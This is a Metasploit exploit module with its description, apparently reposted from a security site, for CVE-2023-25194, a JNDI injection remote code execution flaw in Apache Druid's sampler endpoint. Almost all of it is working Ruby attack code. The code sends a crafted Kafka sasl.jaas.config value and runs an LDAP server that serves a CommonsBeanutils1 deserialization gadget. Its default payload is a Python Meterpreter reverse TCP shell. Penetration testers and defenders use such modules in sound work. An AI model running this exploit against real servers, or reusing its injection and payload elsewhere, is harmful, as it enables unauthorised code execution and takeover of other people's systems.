Authored by RedWay Security, Jari Jaaskela | Site metasploit.com

This Metasploit module is designed to exploit the JNDI injection vulnerability in Druid. The vulnerability specifically affects the indexer/v1/sampler interface of Druid, enabling an attacker to execute arbitrary commands on the targeted server. The vulnerability is found in Apache Kafka clients versions ranging from 2.3.0 to 3.3.2. If an attacker can manipulate the sasl.jaas.config property of any of the connector’s Kafka clients to com.sun.security.auth.module.JndiLoginModule, it allows the server to establish a connection with the attacker’s LDAP server and deserialize the LDAP response. This provides the attacker with the capability to execute java deserialization gadget chains on the Kafka connect server, potentially leading to unrestricted deserialization of untrusted data or even remote code execution (RCE) if there are relevant gadgets in the classpath. To facilitate the exploitation process, this module will initiate an LDAP server that the target server needs to connect to in order to carry out the attack.

advisories | CVE-2023-25194

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Retry
include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(_info = {})
super(
'Name' => 'Apache Druid JNDI Injection RCE',
'Description' => %q{

This module is designed to exploit the JNDI injection vulnerability
in Druid. The vulnerability specifically affects the indexer/v1/sampler
interface of Druid, enabling an attacker to execute arbitrary commands
on the targeted server.

The vulnerability is found in Apache Kafka clients versions ranging from
2.3.0 to 3.3.2. If an attacker can manipulate the sasl.jaas.config
property of any of the connector's Kafka clients to com.sun.security.auth.module.JndiLoginModule,
it allows the server to establish a connection with the attacker's LDAP server
and deserialize the LDAP response. This provides the attacker with the capability
to execute java deserialization gadget chains on the Kafka connect server,
potentially leading to unrestricted deserialization of untrusted data or even
remote code execution (RCE) if there are relevant gadgets in the classpath.

To facilitate the exploitation process, this module will initiate an LDAP server
that the target server needs to connect to in order to carry out the attack.
},
'Author' => [
'RedWay Security <info[at]redwaysecurity.com>', # Metasploit module
'Jari Jääskelä <https://github.com/jarijaas>' # discovery
],
'References' => [
[ 'CVE', '2023-25194' ],
[ 'URL', 'https://hackerone.com/reports/1529790'],
[ 'URL', 'https://lists.apache.org/thread/vy1c7fqcdqvq5grcqp6q5jyyb302khyz' ]
],
'DisclosureDate' => '2023-02-07',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 8888,
'SSL' => true,
'SRVPORT' => 3389,
'WfsDelay' => 30
},
'Targets' => [
[
'Windows', {
'Platform' => 'win'
},
],
[
'Linux', {
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter_reverse_tcp'
}
},
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
register_options([
OptString.new('TARGETURI', [ true, 'Base path', '/'])
])
end

def check
validate_configuration!

vprint_status('Attempting to trigger the jndi callback...')

start_service
res = trigger
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?

retry_until_truthy(timeout: datastore['WfsDelay']) { @search_received }

return Exploit::CheckCode::Unknown('No LDAP search query was received.') unless @search_received

report_vuln({
host: rhost,
port: rport,
name: name.to_s,
refs: references,
info: "Module #{fullname} found vulnerable host."
})

Exploit::CheckCode::Vulnerable
ensure
cleanup_service
end

def build_ldap_search_response_payload
return [] if @search_received

@search_received = true

return [] unless @exploiting

print_good('Delivering the serialized Java object to execute the payload...')
build_ldap_search_response_payload_inline('CommonsBeanutils1')
end

def trigger
data = {
type: 'kafka',
spec: {
type: 'kafka',
ioConfig: {
type: 'kafka',
consumerProperties: {
"bootstrap.servers": "#{Faker::Internet.ip_v4_address}:#{Faker::Number.number(digits: 4)}",
"sasl.mechanism": 'SCRAM-SHA-256',
"security.protocol": 'SASL_SSL',
"sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url="#{jndi_string}" useFirstPass="true" serviceName="#{Rex::Text.rand_text_alphanumeric(5)}" debug="true" group.provider.url="#{Rex::Text.rand_text_alphanumeric(5)}";"
},
topic: Rex::Text.rand_text_alpha(8..12).to_s,
useEarliestOffset: true,
inputFormat: { type: 'regex', pattern: '([sS]*)', listDelimiter: (SecureRandom.uuid.gsub('-', '')[0..20]).to_s, columns: ['raw'] }
},
dataSchema: { dataSource: Rex::Text.rand_text_alphanumeric(5..10).to_s, timestampSpec: { column: Rex::Text.rand_text_alphanumeric(5..10).to_s, missingValue: DateTime.now.utc.iso8601.to_s }, dimensionsSpec: {}, granularitySpec: { rollup: false } },
tuningConfig: { type: 'kafka' }
},
samplerConfig: { numRows: 500, timeoutMs: 15000 }
}

@search_received = false

send_request_cgi(
'uri' => normalize_uri(target_uri, '/druid/indexer/v1/sampler') + '?for=connect',
'method' => 'POST',
'ctype' => 'application/json',
'data' => data.to_json
)
end

def exploit
validate_configuration!
@exploiting = true
start_service
res = trigger
fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?
fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way') unless res.code == 400

retry_until_truthy(timeout: datastore['WfsDelay']) { @search_received && (!handler_enabled? || session_created?) }
handler
ensure
cleanup
end
end